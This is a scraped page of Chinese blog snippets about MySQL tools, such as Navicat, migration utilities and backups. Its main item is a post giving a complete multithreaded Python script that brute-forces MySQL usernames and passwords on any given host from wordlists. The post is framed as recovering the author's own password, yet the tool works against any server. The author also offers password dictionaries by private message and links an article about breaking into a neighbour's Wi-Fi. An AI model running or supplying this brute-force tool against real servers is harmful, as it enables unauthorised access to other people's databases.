-
2020-02-13 16:52:45更多相关内容
-
MySQL可视化工具Navicat(mac版本)
2018-08-14 22:56:21MySQL的可视化工具Navicat Premium Mac free版本的。。。 -
oracle数据转到mysql----OracleToMySQL 工具
2018-05-17 18:40:22方式一: 使用工具DBMover 的OracleToMySQL 进行导入DBMover这个网站也提供了 Oracle 到 MySQL 迁移的工具。下载地址是:http://dbmover.com/download/oracletomysql_cn.zip这也是一个收费的软件, 试用版的限制是...方式一: 使用工具DBMover 的OracleToMySQL 进行导入
DBMover这个网站也提供了 Oracle 到 MySQL 迁移的工具。
下载地址是:http://dbmover.com/download/oracletomysql_cn.zip
这也是一个收费的软件, 试用版的限制是: 允许迁移的记录条数累计为10万条。
下载安装,启动后会先要求输入 数据库连接的信息:
一直配置完成之后的页面是:
这里就只能看到table 了。
和Navicat比较起来, 感觉这个显得简单, 只能migrate table , 而且使用上也不是很方便。
下一次Migrate 又得重头到尾输入一次, 没办法记住之前配置的连接。
方式二: 使用工具intelligent-converters 的 oracle-to-mysql 进行导入
同样是一个收费的工具:
下载地址: http://www.intelligent-converters.com/oracle-to-mysql.htm
使用版的限制是每个table 只能导入 5 笔数据。
操作方式上和DbRemover 提供的很类似。好处是能记住上次的一些连接信息。
同样只能对表进行导入。
导入的页面:
-
Mac上超级好用的Mysql工具
2019-04-29 10:59:41https://blog.csdn.net/wangkaichenjuan/article/details/64906368 高质量技术免费分享 https://blog.csdn.net/everyonetimeismoney/article/details/94412711 -
用Python写了个工具,完美破解了MySQL!!(建议收藏)
2021-07-01 08:30:45再也不怕忘记MySQL的用户名和密码了,用这个工具可以秒破MySQL,冰河强烈建议收藏!!大家好,我是冰河~~
最近有很多小伙伴问我:冰河,咋感觉你啥都会呀?Java、Python、大数据、分布式、微服务、系统架构、运维、渗透,请问你平时是怎么学习的呢?我:个人觉得最好的学习方法就是,在平时的工作过程中,遇到问题多总结,注意积累解决问题的方案,及时查漏补缺,逐渐形成一套自己的方法论。
要知道,每项知识、技能的积累,需要的是日复一日的坚持,正所谓——持之以恒,贵在坚持,这样才能做到每天进步一点点。
小伙伴们如果觉得文章不错,点赞、收藏、评论,分享走一起呀,记得给冰河来个一键三连~~
进入主题
好了,进入今天的主题吧,今天下班回到家想登录下MySQL数据库,不巧的是,忘记了MySQL数据库的用户和密码了,怎么办?使用安全模式登录?我想这么常规的方式应该大家都会吧!今天,就来点不一样的吧,那就是使用Python写个爆破MySQL的工具,看能不能爆破出MySQL的用户和密码。
小伙伴们如果觉得文章不错,点赞、收藏、评论,分享走一起呀,记得给冰河来个一键三连~~
好了,咱们说干就干,开始吧。
爆破脚本
这次编写的爆破MySQL的Python脚本使用了Python中的多线程编程,并且导入了MySQLdb模块。运行时,脚本分别接收如下五个参数:
- 待破解的ip/domain:例如127.0.0.1
- 端口:例如3306
- 数据库:例如test
- 用户名列表文件:例如user.txt文件
- 密码列表文件:例如password.txt文件
相对来说,还是比较简单的,下面就给出完整的脚本代码吧。
#!/usr/bin/env python # -*- coding: gbk -*- # -*- coding: utf-8 -*- # Date: 2021/06/30 # Created by 冰河 # Description MySQL暴力破解工具多线程版 import os, sys, re, socket, time from functools import partial from multiprocessing.dummy import Pool as ThreadPool try: import MySQLdb except ImportError: print '\n[!] MySQLdb模块导入错误,请到下面网址下载:' print '[!] http://www.codegood.com/archives/129' exit() def usage(): print '+' + '-' * 50 + '+' print '\t Python MySQL暴力破解工具多线程版' print '\t 微信公众号:冰河技术' print '\t\t Code BY: 冰河' print '\t\t Time:2021-06-30' print '+' + '-' * 50 + '+' if len(sys.argv) != 6: print "用法: " + os.path.basename(sys.argv[0]) + " 待破解的ip/domain 端口 数据库 用户名列表 密码列表" print "实例: " + os.path.basename(sys.argv[0]) + " 127.0.0.1 3306 test user.txt pass.txt" sys.exit() def mysql_brute(user, password): "mysql数据库破解函数" db = None try: # print "user:", user, "password:", password db = MySQLdb.connect(host=host, user=user, passwd=password, db=sys.argv[3], port=int(sys.argv[2])) # print '[+] 破解成功:', user, password result.append('用户名:' + user + "\t密码:" + password) except KeyboardInterrupt: print '已成功退出程序!' exit() except MySQLdb.Error, msg: print '程序出错,错误信息为:', msg pass finally: if db: db.close() if __name__ == '__main__': usage() start_time = time.time() if re.match(r'\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}', sys.argv[1]): host = sys.argv[1] else: host = socket.gethostbyname(sys.argv[1]) userlist = [i.rstrip() for i in open(sys.argv[4])] passlist = [j.rstrip() for j in open(sys.argv[5])] print '\n[+] 目 标:%s \n' % sys.argv[1] print '[+] 用户名:%d 条\n' % len(userlist) print '[+] 密 码:%d 条\n' % len(passlist) print '[!] 密码破解中,请稍候……\n' result = [] for user in userlist: partial_user = partial(mysql_brute, user) pool = ThreadPool(10) pool.map(partial_user, passlist) pool.close() pool.join() if len(result) != 0: print '[+] MySQL密码破解成功!\n' for x in {}.fromkeys(result).keys(): print x + '\n' else: print '[-] MySQL密码破解失败!\n' print '[+] 破解完成,用时: %d 秒' % (time.time() - start_time)
脚本编写完成后,运行,等待了一段时间,将我的MySQL的用户和密码完美的破解出来了。
这里需要注意的是:能不能破解出MySQL的用户和密码,那要看你的爆破字典是否足够强大了,说直白点,就是你的user.txt文件中的用户和password.txt文件中的密码是否足够齐全。
如果你想获取一个相对来说比较强大的爆破密码的字典文件,可以加我微信:sun_shine_lyz私聊获取。并且我自己也写了一个根据输入的位数生成密码字典的程序,大家也可以私聊我获取。
推荐书籍
这次,也给大家推荐一些关注渗透方面的书籍吧。
《冰河的渗透实战笔记》
首先,就是我最近写的这本《冰河的渗透实战笔记》,一本很不错的渗透实战电子书,绝大部分来源于冰河多年的渗透实战笔记。
下载地址:https://download.csdn.net/download/l1028386804/18830348
另外,再推荐两本,我之前深入研究过的并且很不错的书籍。
《IDA Pro代码破解揭秘》
《IDA Pro权威指南(第2版)》
写在最后
如果你想进大厂,想升职加薪,或者对自己现有的工作比较迷茫,都可以私信我交流,希望我的一些经历能够帮助到大家~~
推荐阅读:
- 《全网最全性能优化总结!!(冰河吐血整理,建议收藏)》
- 《三天撸完了MyBatis,各位随便问!!(冰河吐血整理,建议收藏)》
- 《奉劝那些刚参加工作的学弟学妹们:要想进大厂,这些核心技能是你必须要掌握的!完整学习路线!!(建议收藏)》
- 《奉劝那些刚参加工作的学弟学妹们:这些计算机与操作系统基础知识越早知道越好!万字长文太顶了!!(建议收藏)》
- 《我用三天时间开发了一款老少皆宜的国民级游戏,支持播放音乐,现开放完整源代码和注释(建议收藏)!!》
- 《我是全网最硬核的高并发编程作者,CSDN最值得关注的博主,大家同意吗?(建议收藏)》
- 《毕业五年,从月薪3000到年薪百万,我掌握了哪些核心技能?(建议收藏)》
- 《我入侵了隔壁妹子的Wifi,发现。。。(全程实战干货,建议收藏)》
- 《千万不要轻易尝试“熊猫烧香”,这不,我后悔了!》
- 《清明节偷偷训练“熊猫烧香”,结果我的电脑为熊猫“献身了”!》
- 《7.3万字肝爆Java8新特性,我不信你能看完!(建议收藏)》
- 《在业务高峰期拔掉服务器电源是一种怎样的体验?》
- 《全网最全Linux命令总结!!(史上最全,建议收藏)》
好了,今天就到这儿吧,小伙伴们点赞、收藏、评论,一键三连走起呀,我是冰河,我们下期见~~
-
Navicat for Mysql自动备份和还原,Mysql工具备份和还原
2018-05-16 10:42:30一:首先你得有Navicat for mysql工具 官方下载链接: https://www.navicat.com/en/products 进入Navicat for mysql ,连接你的数据库,开始了直接上图 结尾:好啦,整个自动备份就设置完了,是不是.... -
python封装mysql工具类(初步封装)
2019-05-23 17:49:011.在日常操作数据库中,如果不进行封装工具类操作一些场景时,会导致效率低下与思路不清晰,操作数据片段化与零散化。因此需要封装一些工具类辅佐我们进行编码。 2.在编写工具类时,要结合面向对象编程思想,使... -
excel数据导入mysql工具
2010-01-29 11:38:12可以把excel数据批量导入mysql数据库中 -
deepin linux mysql工具
2017-01-14 18:29:38mysql工具, 选来选去,还是官网的 mysql workbench吧,除了简单的连接查看之外,还有其他一些辅助工具,比如migration。但是在安装utilities的时候,遇到了如下的问题,先记下。为啥不用navicat来? 在deepinlinux... -
详解MySQL监控工具 mysql-monitor
2021-01-18 18:40:041.概述mysql-monitor MYSQL 监控工具,优化工具,各种工具为一体的java spring boot 项目2. 代码架构3. 后端服务后端服务的主类是com.neo.MySQLMointorApplication3.1 后端服务的数据库spring.datasource.... -
一款Java的MySqlWeb管理工具
2013-06-06 16:15:00web版本的mysql管理工具,类似于phpMyAdmin,本资源来自互联网。 -
推荐五个最好的MySQL GUI工具
2021-01-25 16:56:38摘要:在本文中,我们会介绍一些最常用的MySQL GUI工具,希望大家能更好的运用这些工具。大多数数据库都是由两个截然不同的部分组成的:后端(存储数据的地方)和前端(一个用于连接数据组件的用户界面)。这种架构可以... -
MYSQL中常用的工具
2021-01-19 00:05:181.mysql(客户端链接工具):-u :指定用户名-p:指定密码-h:指定服务器ip或者域名-P(大写):指定端口例子:mysql -u root -h 202.194.132.237 -P 3306 -p出现error: Host '202.194.132.237' is not allowed to connect to ... -
Mac安装 MySQL 可视化工具MySQL Workbench
2022-01-05 15:35:33Mac安装 MySQL 可视化工具MySQL Workbench 一、安装MySQL Mac下载地址:https://dev.mysql.com/downloads/mysql/ 双击安装包 一路next 安装完成后可以在系统偏好设置中找到MySQL 点击进入MySQL设置界面 打开... -
MYSQL工具mysqlhotcopy使用
2018-04-23 17:44:53mysqlhotcopy使用lock tables、flush tables和cp或scp来快速备份数据库.它是备份数据库或单个表最快的途径,完全属于物理备份,但只能用于...使用mysqlhotcopy命令前需要要安装相应的软件依赖包看了文章想使用mysqlh... -
15款最佳的MySQL管理工具和应用程序
2021-01-18 17:55:34几乎每个开发人员都有最钟爱的 MySQL 管理工具,它帮助开发人员在许多方面支持包括 PostgreSQL,MySQL,SQLite,Redis,MongoDB 等在内的多种数据库;提供各种最新的特性,包括触发器、事件、视图、存储过程和外键,... -
Navicat for MySQL 工具绿化版 含安装文档
2013-05-16 09:48:12Navicat MySQL是一个强大的MySQL数据库服务器管理和开发工具。 绿化版,包含有安装文档。 -
mysql存储过程断点dbForge Studio for MySQL工具使用
2015-10-12 09:37:19下载工具名称叫:dbForge Studio for MySQL 官网地址:https://www.devart.com/ 下载地址: https://www.devart.com/dbforge/mysql/studio/download.html网盘地址:http://pan.baidu.com/s/1pJnEjWn 使用先以... -
java连接mysql数据库的三个不同的工具类
2013-02-07 06:13:40收集了3个不同的连接数据库的类,很经典的封装好的jdbc工具类 -
MySQL--数据库的工具类
2021-10-24 09:56:58将常用函数封装成工具类的函数 package test; import java.sql.Connection; import java.sql.DriverManager; //数据库的工具类 public class DBUtil { //封装一个获取数据库... Class .forName("com.mysql.jdbc.D -
Centos7安装MySQL客户端工具
2021-01-05 16:17:28起因:客户给了台centos7程序服务器,着急部署个MySQL客户端工具连接远程数据库用。MySQL网站打不开,看Oracle就来气。SELECT @@version 查了下客户MySQL数据库版本:5.7.28-log。MariaDB和MySQL兼容,于是我打开了... -
连接mysql常用工具
2020-04-27 17:59:47连接mysql常用工具 mysql作为数据库服务器来运行,任何满足mysql通信规范的软件都可以作为客户端来连接服务器。 常用的客户端:navicat、mysql_front,基于web的phpMyAdmin,还有mysql自带的命令行客户端 推荐使用:... -
五大开源MySQL管理工具!
2017-12-15 13:58:51对于数据库管理员(DBA)来说,保持数据库运行在最佳状态需要具备敏捷,专注,快速... 以下这些优秀工具可以改善MySQL环境中的CLI和Web管理,SQL查询,模式迁移以及复制和恢复。(顺附Github地址,Star数量和提交数量供 -
mysql转换postgresql工具
2018-03-09 11:23:38国外大牛写的一个mysql数据库转换postgresql的脚本。亲试可以无错误运行。 -
非常实用的mysql可视化连接工具,开发测试必备软件,快收藏吧
2021-01-18 18:24:09今天小编给大家介绍一款mysql数据库连接工具,对于很多开发或者测试人员,在本机安装mysql连接客户端很麻烦,但是又需要查看数据库数据,此时简单快速的查看数据库工具就很重要了,今天给大家介绍一个带有用户界面的... -
MAC系统 下使用Navicat for Mysql工具无法远程连接Mysql服务器
2018-04-08 05:46:08!...!...我在win7系统使用相同工具能正常连接,启动IDEA程序...苹果笔记本用Navicat for Mysql工具显示以上内容,(MAC 终端ping地址可以通)网上查了些资料更改端口3307、localhost改成127.0.0.1之类的 都没有用。求大神指点 -
mysql数据库同步工具_mysql同步工具_mysql数据库同步
2018-11-13 09:43:59SyncNavigator 数据酷同步工具 做数据同步时所支持的数据库类型: 支持sqlserver 2000-2014所有版本,全兼容,和MYsql 4.x 、MYsql 5.x 、MYsql 6.x版本。 来源数据库和目标数据库可以版本不同,比如:来源... -
mac安装mysql图形化工具?
2021-01-18 23:24:10mac安装mysql图形化工具的方法:首先下载mysql图形化工具Navicat Premiun的安装文件;然后点击下载后的dmg文件,拖到application文件夹进行安装,根据安装指导界面的指示一步步操作即可。Mac下载安装mysql及图形化... -
mysql工具篇--Workbench的使用
2016-03-14 15:48:12原文出处:http://blog.csdn.net/renhui999/article/details/8712786。... 感谢2位作者的无私分享。 1. MySQL Workbench MySQL Workbench 为数据库管理员、程序开发者和系统规划师提供